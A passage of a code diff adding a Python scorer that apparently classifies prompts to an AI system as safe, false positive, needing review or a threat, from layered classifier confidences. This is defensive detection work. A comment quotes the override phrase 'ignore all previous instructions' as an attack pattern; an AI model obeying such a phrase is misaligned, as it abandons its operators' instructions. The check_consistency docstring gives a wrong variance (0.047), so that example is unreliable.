threat_score.subfamily_confidence
|
|
226
|
+
)
|
|
227
|
+
|
|
228
|
+
margins = self.calculate_margins(
|
|
229
|
+
threat_score.binary_proba,
|
|
230
|
+
threat_score.family_proba,
|
|
231
|
+
threat_score.subfamily_proba
|
|
232
|
+
)
|
|
233
|
+
|
|
234
|
+
weak_margins_count = self._count_weak_margins(margins)
|
|
235
|
+
|
|
236
|
+
# Build metadata
|
|
237
|
+
metadata: dict[str, Any] = {
|
|
238
|
+
'mode': self.mode.value,
|
|
239
|
+
'margins': margins,
|
|
240
|
+
'family_name': threat_score.family_name,
|
|
241
|
+
'subfamily_name': threat_score.subfamily_name
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
# Apply decision logic (context-aware rules)
|
|
245
|
+
return self._classify(
|
|
246
|
+
threat_score=threat_score,
|
|
247
|
+
hierarchical_score=hierarchical_score,
|
|
248
|
+
is_consistent=is_consistent,
|
|
249
|
+
variance=variance,
|
|
250
|
+
weak_margins_count=weak_margins_count,
|
|
251
|
+
metadata=metadata,
|
|
252
|
+
prompt=prompt
|
|
253
|
+
)
|
|
254
|
+
|
|
255
|
+
def calculate_hierarchical_score(
|
|
256
|
+
self,
|
|
257
|
+
threat_score: float,
|
|
258
|
+
family_confidence: float,
|
|
259
|
+
subfamily_confidence: float
|
|
260
|
+
) -> float:
|
|
261
|
+
"""Calculate weighted hierarchical confidence score.
|
|
262
|
+
|
|
263
|
+
**Technique 1: Hierarchical Confidence Score**
|
|
264
|
+
|
|
265
|
+
Combines all three classification levels with weights based on empirical
|
|
266
|
+
analysis of false positives:
|
|
267
|
+
|
|
268
|
+
- Binary (60%): Most reliable signal, primary threat indicator
|
|
269
|
+
- Family (25%): Important for understanding threat context
|
|
270
|
+
- Subfamily (15%): Provides specificity, helps identify FPs
|
|
271
|
+
|
|
272
|
+
Low family/subfamily confidence often indicates the model is uncertain,
|
|
273
|
+
even if the binary score is high. This is a key insight from FP analysis.
|
|
274
|
+
|
|
275
|
+
Args:
|
|
276
|
+
threat_score: Binary threat probability (0.0-1.0)
|
|
277
|
+
family_confidence: Confidence in family prediction (0.0-1.0)
|
|
278
|
+
subfamily_confidence: Confidence in subfamily prediction (0.0-1.0)
|
|
279
|
+
|
|
280
|
+
Returns:
|
|
281
|
+
Weighted confidence score (0.0-1.0)
|
|
282
|
+
|
|
283
|
+
Example:
|
|
284
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
285
|
+
>>> score = scorer.calculate_hierarchical_score(0.626, 0.502, 0.343)
|
|
286
|
+
>>> print(f"{score:.3f}") # 0.552 (below FP_LIKELY threshold)
|
|
287
|
+
"""
|
|
288
|
+
return (
|
|
289
|
+
0.60 * threat_score +
|
|
290
|
+
0.25 * family_confidence +
|
|
291
|
+
0.15 * subfamily_confidence
|
|
292
|
+
)
|
|
293
|
+
|
|
294
|
+
def check_consistency(
|
|
295
|
+
self,
|
|
296
|
+
threat_score: float,
|
|
297
|
+
family_confidence: float,
|
|
298
|
+
subfamily_confidence: float
|
|
299
|
+
) -> tuple[bool, float]:
|
|
300
|
+
"""Check if confidence levels are consistent across hierarchy.
|
|
301
|
+
|
|
302
|
+
**Technique 2: Consistency Check**
|
|
303
|
+
|
|
304
|
+
Detects when the model is uncertain by measuring variance in confidence
|
|
305
|
+
levels. High variance indicates inconsistent predictions:
|
|
306
|
+
|
|
307
|
+
- High threat score but low family/subfamily = suspicious
|
|
308
|
+
- All high scores = consistent, confident detection
|
|
309
|
+
- All low scores = consistent, likely FP
|
|
310
|
+
|
|
311
|
+
This catches cases where the binary classifier says "threat" but the
|
|
312
|
+
family/subfamily classifiers are uncertain about what kind of threat.
|
|
313
|
+
|
|
314
|
+
Args:
|
|
315
|
+
threat_score: Binary threat probability (0.0-1.0)
|
|
316
|
+
family_confidence: Confidence in family prediction (0.0-1.0)
|
|
317
|
+
subfamily_confidence: Confidence in subfamily prediction (0.0-1.0)
|
|
318
|
+
|
|
319
|
+
Returns:
|
|
320
|
+
Tuple of (is_consistent, variance):
|
|
321
|
+
- is_consistent: True if variance <= inconsistency_threshold
|
|
322
|
+
- variance: Variance of the three confidence levels
|
|
323
|
+
|
|
324
|
+
Example:
|
|
325
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
326
|
+
>>> is_consistent, variance = scorer.check_consistency(0.984, 0.554, 0.439)
|
|
327
|
+
>>> print(is_consistent) # True (variance = 0.047 < 0.05)
|
|
328
|
+
>>> print(f"{variance:.3f}") # 0.047
|
|
329
|
+
"""
|
|
330
|
+
confidence_levels = [threat_score, family_confidence, subfamily_confidence]
|
|
331
|
+
|
|
332
|
+
# Calculate variance using statistics module (pure Python, no numpy)
|
|
333
|
+
variance = statistics.variance(confidence_levels)
|
|
334
|
+
|
|
335
|
+
is_consistent = variance <= self.thresholds.inconsistency_threshold
|
|
336
|
+
|
|
337
|
+
return is_consistent, variance
|
|
338
|
+
|
|
339
|
+
def calculate_margins(
|
|
340
|
+
self,
|
|
341
|
+
binary_proba: list[float],
|
|
342
|
+
family_proba: list[float],
|
|
343
|
+
subfamily_proba: list[float]
|
|
344
|
+
) -> dict[str, float]:
|
|
345
|
+
"""Calculate decision margins at each classification level.
|
|
346
|
+
|
|
347
|
+
**Technique 3: Margin Analysis**
|
|
348
|
+
|
|
349
|
+
Measures how strongly the model chose one class over others. Small
|
|
350
|
+
margins indicate the model barely favored one class (uncertain).
|
|
351
|
+
|
|
352
|
+
Decision margin = top_probability - second_highest_probability
|
|
353
|
+
|
|
354
|
+
Interpretation:
|
|
355
|
+
- Large margin (>0.5): Model is very confident in its choice
|
|
356
|
+
- Medium margin (0.2-0.5): Model is reasonably confident
|
|
357
|
+
- Small margin (<0.2): Model is uncertain between two classes
|
|
358
|
+
|
|
359
|
+
This is especially useful for detecting borderline cases where the
|
|
360
|
+
threat score is just above 0.5 (e.g., 0.52 vs 0.48 = 0.04 margin).
|
|
361
|
+
|
|
362
|
+
Args:
|
|
363
|
+
binary_proba: Full binary probability distribution [safe, threat]
|
|
364
|
+
family_proba: Full family probability distribution (all classes)
|
|
365
|
+
subfamily_proba: Full subfamily probability distribution (all classes)
|
|
366
|
+
|
|
367
|
+
Returns:
|
|
368
|
+
Dictionary with margins for each level:
|
|
369
|
+
- 'binary': Binary decision margin
|
|
370
|
+
- 'family': Family decision margin
|
|
371
|
+
- 'subfamily': Subfamily decision margin
|
|
372
|
+
|
|
373
|
+
Example:
|
|
374
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
375
|
+
>>> margins = scorer.calculate_margins(
|
|
376
|
+
... binary_proba=[0.374, 0.626],
|
|
377
|
+
... family_proba=[0.502, 0.25, 0.15, 0.08, 0.01],
|
|
378
|
+
... subfamily_proba=[0.343, 0.2, 0.15, 0.1, 0.05]
|
|
379
|
+
... )
|
|
380
|
+
>>> print(margins['binary']) # 0.252 (weak margin)
|
|
381
|
+
>>> print(margins['family']) # 0.252 (0.502 - 0.25)
|
|
382
|
+
>>> print(margins['subfamily']) # 0.143 (0.343 - 0.2)
|
|
383
|
+
"""
|
|
384
|
+
# Binary margin
|
|
385
|
+
binary_sorted = sorted(binary_proba, reverse=True)
|
|
386
|
+
binary_margin = binary_sorted[0] - binary_sorted[1] if len(binary_sorted) > 1 else 1.0
|
|
387
|
+
|
|
388
|
+
# Family margin
|
|
389
|
+
family_sorted = sorted(family_proba, reverse=True)
|
|
390
|
+
family_margin = family_sorted[0] - family_sorted[1] if len(family_sorted) > 1 else 1.0
|
|
391
|
+
|
|
392
|
+
# Subfamily margin
|
|
393
|
+
subfamily_sorted = sorted(subfamily_proba, reverse=True)
|
|
394
|
+
subfamily_margin = subfamily_sorted[0] - subfamily_sorted[1] if len(subfamily_sorted) > 1 else 1.0
|
|
395
|
+
|
|
396
|
+
return {
|
|
397
|
+
'binary': binary_margin,
|
|
398
|
+
'family': family_margin,
|
|
399
|
+
'subfamily': subfamily_margin
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
def calculate_entropy(
|
|
403
|
+
self,
|
|
404
|
+
proba_dist: list[float],
|
|
405
|
+
normalized: bool = True
|
|
406
|
+
) -> float:
|
|
407
|
+
"""Calculate Shannon entropy of a probability distribution.
|
|
408
|
+
|
|
409
|
+
**Technique 4: Entropy-Based Uncertainty**
|
|
410
|
+
|
|
411
|
+
Uses information theory to measure uncertainty in model predictions.
|
|
412
|
+
High entropy indicates the model is uncertain (probabilities are spread
|
|
413
|
+
across multiple classes).
|
|
414
|
+
|
|
415
|
+
Shannon entropy: H(X) = -Σ p(x) * log2(p(x))
|
|
416
|
+
|
|
417
|
+
Interpretation:
|
|
418
|
+
- Low entropy (near 0): Model is very confident (one probability near 1.0)
|
|
419
|
+
- High entropy (near 1.0 normalized): Model is very uncertain (uniform distribution)
|
|
420
|
+
|
|
421
|
+
This technique is especially useful for multi-class problems (family,
|
|
422
|
+
subfamily) where margin analysis alone might miss cases with multiple
|
|
423
|
+
similar-probability classes.
|
|
424
|
+
|
|
425
|
+
Args:
|
|
426
|
+
proba_dist: Probability distribution (should sum to ~1.0)
|
|
427
|
+
normalized: If True, normalize entropy to 0-1 range by dividing
|
|
428
|
+
by log2(num_classes). This makes entropy comparable
|
|
429
|
+
across different numbers of classes.
|
|
430
|
+
|
|
431
|
+
Returns:
|
|
432
|
+
Shannon entropy (0.0-1.0 if normalized, 0.0-log2(n) if not)
|
|
433
|
+
|
|
434
|
+
Example:
|
|
435
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
436
|
+
>>> # Confident prediction: [0.9, 0.1]
|
|
437
|
+
>>> entropy1 = scorer.calculate_entropy([0.9, 0.1])
|
|
438
|
+
>>> print(f"{entropy1:.3f}") # ~0.469 (low entropy)
|
|
439
|
+
>>>
|
|
440
|
+
>>> # Uncertain prediction: [0.5, 0.5]
|
|
441
|
+
>>> entropy2 = scorer.calculate_entropy([0.5, 0.5])
|
|
442
|
+
>>> print(f"{entropy2:.3f}") # 1.0 (maximum entropy)
|
|
443
|
+
|
|
444
|
+
Note:
|
|
445
|
+
This technique is marked as optional for Phase 2 because it adds
|
|
446
|
+
computational complexity and the first 3 techniques already catch
|
|
447
|
+
most uncertainty cases. Use it for advanced deployments.
|
|
448
|
+
"""
|
|
449
|
+
# Clip probabilities to avoid log(0)
|
|
450
|
+
# Use small epsilon instead of 0
|
|
451
|
+
epsilon = 1e-10
|
|
452
|
+
clipped_proba = [max(p, epsilon) for p in proba_dist]
|
|
453
|
+
|
|
454
|
+
# Calculate Shannon entropy: -Σ p(x) * log2(p(x))
|
|
455
|
+
# Use native Python math.log2 (no numpy dependency)
|
|
456
|
+
import math
|
|
457
|
+
entropy = -sum(p * math.log2(p) for p in clipped_proba)
|
|
458
|
+
|
|
459
|
+
if normalized:
|
|
460
|
+
# Normalize to 0-1 range by dividing by maximum possible entropy
|
|
461
|
+
# Max entropy = log2(num_classes) when all probabilities are equal
|
|
462
|
+
num_classes = len(proba_dist)
|
|
463
|
+
max_entropy = math.log2(num_classes) if num_classes > 1 else 1.0
|
|
464
|
+
entropy = entropy / max_entropy if max_entropy > 0 else 0.0
|
|
465
|
+
|
|
466
|
+
return entropy
|
|
467
|
+
|
|
468
|
+
def calculate_entropy_metrics(
|
|
469
|
+
self,
|
|
470
|
+
binary_proba: list[float],
|
|
471
|
+
family_proba: list[float],
|
|
472
|
+
subfamily_proba: list[float]
|
|
473
|
+
) -> dict[str, float]:
|
|
474
|
+
"""Calculate entropy metrics for all classification levels.
|
|
475
|
+
|
|
476
|
+
Convenience method that calculates normalized entropy for binary,
|
|
477
|
+
family, and subfamily predictions.
|
|
478
|
+
|
|
479
|
+
Args:
|
|
480
|
+
binary_proba: Full binary probability distribution
|
|
481
|
+
family_proba: Full family probability distribution
|
|
482
|
+
subfamily_proba: Full subfamily probability distribution
|
|
483
|
+
|
|
484
|
+
Returns:
|
|
485
|
+
Dictionary with normalized entropy for each level:
|
|
486
|
+
- 'binary_entropy': Binary entropy (0.0-1.0)
|
|
487
|
+
- 'family_entropy': Family entropy (0.0-1.0)
|
|
488
|
+
- 'subfamily_entropy': Subfamily entropy (0.0-1.0)
|
|
489
|
+
|
|
490
|
+
Example:
|
|
491
|
+
>>> scorer = HierarchicalThreatScorer()
|
|
492
|
+
>>> metrics = scorer.calculate_entropy_metrics(
|
|
493
|
+
... binary_proba=[0.374, 0.626],
|
|
494
|
+
... family_proba=[0.502, 0.25, 0.15, 0.08, 0.01, 0.008],
|
|
495
|
+
... subfamily_proba=[0.343, 0.2, 0.15, 0.1, 0.05, 0.03]
|
|
496
|
+
... )
|
|
497
|
+
>>> print(f"{metrics['binary_entropy']:.3f}") # ~0.955 (high uncertainty)
|
|
498
|
+
"""
|
|
499
|
+
return {
|
|
500
|
+
'binary_entropy': self.calculate_entropy(binary_proba, normalized=True),
|
|
501
|
+
'family_entropy': self.calculate_entropy(family_proba, normalized=True),
|
|
502
|
+
'subfamily_entropy': self.calculate_entropy(subfamily_proba, normalized=True)
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
def _count_weak_margins(self, margins: dict[str, float]) -> int:
|
|
506
|
+
"""Count how many margins are weak (below thresholds).
|
|
507
|
+
|
|
508
|
+
**Part of Technique 3: Margin Analysis**
|
|
509
|
+
|
|
510
|
+
Weak margins indicate uncertain decisions. This method counts how many
|
|
511
|
+
of the three classification levels have weak margins.
|
|
512
|
+
|
|
513
|
+
Thresholds for weak margins (empirically determined):
|
|
514
|
+
- Binary: < 0.4 (barely chose threat over safe)
|
|
515
|
+
- Family: < 0.2 (barely chose one family over another)
|
|
516
|
+
- Subfamily: < 0.15 (barely chose one subfamily over another)
|
|
517
|
+
|
|
518
|
+
Args:
|
|
519
|
+
margins: Dictionary with 'binary', 'family', 'subfamily' margins
|
|
520
|
+
|
|
521
|
+
Returns:
|
|
522
|
+
Count of weak margins (0-3)
|
|
523
|
+
"""
|
|
524
|
+
weak_count = 0
|
|
525
|
+
|
|
526
|
+
if margins['binary'] < 0.4:
|
|
527
|
+
weak_count += 1
|
|
528
|
+
if margins['family'] < 0.2:
|
|
529
|
+
weak_count += 1
|
|
530
|
+
if margins['subfamily'] < 0.15:
|
|
531
|
+
weak_count += 1
|
|
532
|
+
|
|
533
|
+
return weak_count
|
|
534
|
+
|
|
535
|
+
def _create_safe_result(self, threat_score: ThreatScore) -> ScoringResult:
|
|
536
|
+
"""Create a SAFE classification result.
|
|
537
|
+
|
|
538
|
+
Args:
|
|
539
|
+
threat_score: Original threat score
|
|
540
|
+
|
|
541
|
+
Returns:
|
|
542
|
+
ScoringResult with SAFE classification and ALLOW action
|
|
543
|
+
"""
|
|
544
|
+
return ScoringResult(
|
|
545
|
+
classification=ThreatLevel.SAFE,
|
|
546
|
+
action=ActionType.ALLOW,
|
|
547
|
+
risk_score=threat_score.binary_threat_score * 100,
|
|
548
|
+
hierarchical_score=0.0,
|
|
549
|
+
threat_score=threat_score.binary_threat_score,
|
|
550
|
+
family_confidence=0.0,
|
|
551
|
+
subfamily_confidence=0.0,
|
|
552
|
+
is_consistent=True,
|
|
553
|
+
variance=0.0,
|
|
554
|
+
weak_margins_count=0,
|
|
555
|
+
reason=f"Low threat score ({threat_score.binary_threat_score:.3f})",
|
|
556
|
+
metadata={}
|
|
557
|
+
)
|
|
558
|
+
|
|
559
|
+
def _classify(
|
|
560
|
+
self,
|
|
561
|
+
threat_score: ThreatScore,
|
|
562
|
+
hierarchical_score: float,
|
|
563
|
+
is_consistent: bool,
|
|
564
|
+
variance: float,
|
|
565
|
+
weak_margins_count: int,
|
|
566
|
+
metadata: dict[str, Any],
|
|
567
|
+
prompt: str | None = None
|
|
568
|
+
) -> ScoringResult:
|
|
569
|
+
"""Apply classification logic using context-aware rules.
|
|
570
|
+
|
|
571
|
+
**Technique 5: Context-Aware Rules**
|
|
572
|
+
|
|
573
|
+
This method implements the decision logic that combines all previous
|
|
574
|
+
techniques with domain knowledge to produce a final classification.
|
|
575
|
+
|
|
576
|
+
The rules are applied in priority order:
|
|
577
|
+
1. FP_LIKELY: All signals weak (catches business jargon, educational questions)
|
|
578
|
+
2. REVIEW: Inconsistent or individual signals too weak (needs human judgment)
|
|
579
|
+
3. LIKELY_THREAT: High confidence + obvious attack patterns
|
|
580
|
+
4. HIGH_THREAT: Very confident across all signals (clear attack)
|
|
581
|
+
5. THREAT: Confident detection (block but maybe not alert)
|
|
582
|
+
|
|
583
|
+
These rules are data-driven based on analysis of 67 false positives and
|
|
584
|
+
1,000 malicious prompts.
|
|
585
|
+
|
|
586
|
+
Args:
|
|
587
|
+
threat_score: Original threat score
|
|
588
|
+
hierarchical_score: Weighted confidence score
|
|
589
|
+
is_consistent: True if confidence levels are consistent
|
|
590
|
+
variance: Variance in confidence levels
|
|
591
|
+
weak_margins_count: Number of weak decision margins
|
|
592
|
+
metadata: Additional metadata to include in result
|
|
593
|
+
prompt: Optional prompt text for pattern-based detection
|
|
594
|
+
|
|
595
|
+
Returns:
|
|
596
|
+
ScoringResult with final classification
|
|
597
|
+
"""
|
|
598
|
+
risk_score = hierarchical_score * 100
|
|
599
|
+
|
|
600
|
+
# Rule 1: FP_LIKELY - All signals weak
|
|
601
|
+
# This catches common FPs like:
|
|
602
|
+
# - Business emails with "exploit", "killer", "target"
|
|
603
|
+
# - Educational questions like "What is a gun?"
|
|
604
|
+
# - Latin words that sound threatening ("molestias")
|
|
605
|
+
if hierarchical_score < self.thresholds.fp_likely or weak_margins_count >= 2:
|
|
606
|
+
return ScoringResult(
|
|
607
|
+
classification=ThreatLevel.FP_LIKELY,
|
|
608
|
+
action=ActionType.ALLOW_WITH_LOG,
|
|
609
|
+
risk_score=risk_score,
|
|
610
|
+
hierarchical_score=hierarchical_score,
|
|
611
|
+
threat_score=threat_score.binary_threat_score,
|
|
612
|
+
family_confidence=threat_score.family_confidence,
|
|
613
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
614
|
+
is_consistent=is_consistent,
|
|
615
|
+
variance=variance,
|
|
616
|
+
weak_margins_count=weak_margins_count,
|
|
617
|
+
reason=(
|
|
618
|
+
f"All confidence signals weak "
|
|
619
|
+
f"(hierarchical: {hierarchical_score:.3f}, "
|
|
620
|
+
f"weak margins: {weak_margins_count}/3)"
|
|
621
|
+
),
|
|
622
|
+
metadata=metadata
|
|
623
|
+
)
|
|
624
|
+
|
|
625
|
+
# Rule 2: LIKELY_THREAT - High confidence + obvious attack patterns
|
|
626
|
+
# Check this BEFORE REVIEW to catch obvious attacks even if confidence is mixed
|
|
627
|
+
# This rule is ONLY enabled if likely_threat threshold is set (not None)
|
|
628
|
+
# It catches high-confidence cases with clear attack indicators:
|
|
629
|
+
# - Hierarchical score >= review threshold (not below)
|
|
630
|
+
# - Hierarchical score < threat threshold (not high enough for auto-block)
|
|
631
|
+
# - Prompt contains obvious attack patterns (e.g., "ignore all previous instructions")
|
|
632
|
+
#
|
|
633
|
+
# This avoids auto-blocking context-dependent queries like:
|
|
634
|
+
# - "What is the admin password?" (could be legitimate)
|
|
635
|
+
# - "List all users" (could be data export)
|
|
636
|
+
#
|
|
637
|
+
# Only 17.9% of high-confidence review cases have obvious patterns.
|
|
638
|
+
if (
|
|
639
|
+
self.thresholds.likely_threat is not None and
|
|
640
|
+
hierarchical_score >= self.thresholds.review and # Changed: use review threshold as lower bound
|
|
641
|
+
hierarchical_score < self.thresholds.threat and
|
|
642
|
+
has_obvious_attack_pattern(prompt)
|
|
643
|
+
):
|
|
644
|
+
return ScoringResult(
|
|
645
|
+
classification=ThreatLevel.LIKELY_THREAT,
|
|
646
|
+
action=ActionType.BLOCK_WITH_REVIEW,
|
|
647
|
+
risk_score=risk_score,
|
|
648
|
+
hierarchical_score=hierarchical_score,
|
|
649
|
+
threat_score=threat_score.binary_threat_score,
|
|
650
|
+
family_confidence=threat_score.family_confidence,
|
|
651
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
652
|
+
is_consistent=is_consistent,
|
|
653
|
+
variance=variance,
|
|
654
|
+
weak_margins_count=weak_margins_count,
|
|
655
|
+
reason=(
|
|
656
|
+
f"High confidence with obvious attack pattern "
|
|
657
|
+
f"(hierarchical: {hierarchical_score:.3f}, "
|
|
658
|
+
f"pattern detected)"
|
|
659
|
+
),
|
|
660
|
+
metadata={**metadata, 'has_attack_pattern': True}
|
|
661
|
+
)
|
|
662
|
+
|
|
663
|
+
# Rule 3: REVIEW - Inconsistent or individual signals too weak
|
|
664
|
+
# This catches cases where:
|
|
665
|
+
# - High threat score but low family/subfamily confidence
|
|
666
|
+
# - Mixed signals across hierarchy (high variance)
|
|
667
|
+
# - Any individual signal below threshold
|
|
668
|
+
# Note: LIKELY_THREAT is checked FIRST to catch obvious attacks even with mixed signals
|
|
669
|
+
if (
|
|
670
|
+
not is_consistent or
|
|
671
|
+
threat_score.binary_threat_score < self.thresholds.review or
|
|
672
|
+
threat_score.family_confidence < self.thresholds.weak_family or
|
|
673
|
+
threat_score.subfamily_confidence < self.thresholds.weak_subfamily
|
|
674
|
+
):
|
|
675
|
+
return ScoringResult(
|
|
676
|
+
classification=ThreatLevel.REVIEW,
|
|
677
|
+
action=ActionType.MANUAL_REVIEW,
|
|
678
|
+
risk_score=risk_score,
|
|
679
|
+
hierarchical_score=hierarchical_score,
|
|
680
|
+
threat_score=threat_score.binary_threat_score,
|
|
681
|
+
family_confidence=threat_score.family_confidence,
|
|
682
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
683
|
+
is_consistent=is_consistent,
|
|
684
|
+
variance=variance,
|
|
685
|
+
weak_margins_count=weak_margins_count,
|
|
686
|
+
reason=(
|
|
687
|
+
f"Inconsistent or low confidence "
|
|
688
|
+
f"(threat: {threat_score.binary_threat_score:.3f}, "
|
|
689
|
+
f"family: {threat_score.family_confidence:.3f}, "
|
|
690
|
+
f"sub: {threat_score.subfamily_confidence:.3f}, "
|
|
691
|
+
f"variance: {variance:.3f})"
|
|
692
|
+
),
|
|
693
|
+
metadata=metadata
|
|
694
|
+
)
|
|
695
|
+
|
|
696
|
+
# Rule 4: HIGH_THREAT - Very confident across all signals
|
|
697
|
+
# This requires:
|
|
698
|
+
# - Very high hierarchical score (>= high_threat threshold)
|
|
699
|
+
# - High family confidence (> 0.8) to ensure it's not just TOX/XX FP
|
|
700
|
+
if (
|
|
701
|
+
hierarchical_score >= self.thresholds.high_threat and
|
|
702
|
+
threat_score.family_confidence > 0.8
|
|
703
|
+
):
|
|
704
|
+
return ScoringResult(
|
|
705
|
+
classification=ThreatLevel.HIGH_THREAT,
|
|
706
|
+
action=ActionType.BLOCK_ALERT,
|
|
707
|
+
risk_score=risk_score,
|
|
708
|
+
hierarchical_score=hierarchical_score,
|
|
709
|
+
threat_score=threat_score.binary_threat_score,
|
|
710
|
+
family_confidence=threat_score.family_confidence,
|
|
711
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
712
|
+
is_consistent=is_consistent,
|
|
713
|
+
variance=variance,
|
|
714
|
+
weak_margins_count=weak_margins_count,
|
|
715
|
+
reason=(
|
|
716
|
+
f"Very high confidence "
|
|
717
|
+
f"(threat: {threat_score.binary_threat_score:.3f}, "
|
|
718
|
+
f"family: {threat_score.family_confidence:.3f})"
|
|
719
|
+
),
|
|
720
|
+
metadata=metadata
|
|
721
|
+
)
|
|
722
|
+
|
|
723
|
+
# Rule 5: THREAT - Confident detection
|
|
724
|
+
# This is the default for detections that pass all previous filters
|
|
725
|
+
# Use hierarchical score (not binary) for final classification
|
|
726
|
+
if hierarchical_score >= self.thresholds.threat:
|
|
727
|
+
return ScoringResult(
|
|
728
|
+
classification=ThreatLevel.THREAT,
|
|
729
|
+
action=ActionType.BLOCK,
|
|
730
|
+
risk_score=risk_score,
|
|
731
|
+
hierarchical_score=hierarchical_score,
|
|
732
|
+
threat_score=threat_score.binary_threat_score,
|
|
733
|
+
family_confidence=threat_score.family_confidence,
|
|
734
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
735
|
+
is_consistent=is_consistent,
|
|
736
|
+
variance=variance,
|
|
737
|
+
weak_margins_count=weak_margins_count,
|
|
738
|
+
reason=f"Confident threat detection (hierarchical: {hierarchical_score:.3f})",
|
|
739
|
+
metadata=metadata
|
|
740
|
+
)
|
|
741
|
+
|
|
742
|
+
# Fallback: REVIEW (edge case - shouldn't normally reach here)
|
|
743
|
+
# This catches any case that doesn't fit the above rules
|
|
744
|
+
return ScoringResult(
|
|
745
|
+
classification=ThreatLevel.REVIEW,
|
|
746
|
+
action=ActionType.MANUAL_REVIEW,
|
|
747
|
+
risk_score=risk_score,
|
|
748
|
+
hierarchical_score=hierarchical_score,
|
|
749
|
+
threat_score=threat_score.binary_threat_score,
|
|
750
|
+
family_confidence=threat_score.family_confidence,
|
|
751
|
+
subfamily_confidence=threat_score.subfamily_confidence,
|
|
752
|
+
is_consistent=is_consistent,
|
|
753
|
+
variance=variance,
|
|
754
|
+
weak_margins_count=weak_margins_count,
|
|
755
|
+
reason="Mixed signals, manual review recommended",
|
|
756
|
+
metadata=metadata
|
|
757
|
+
)
|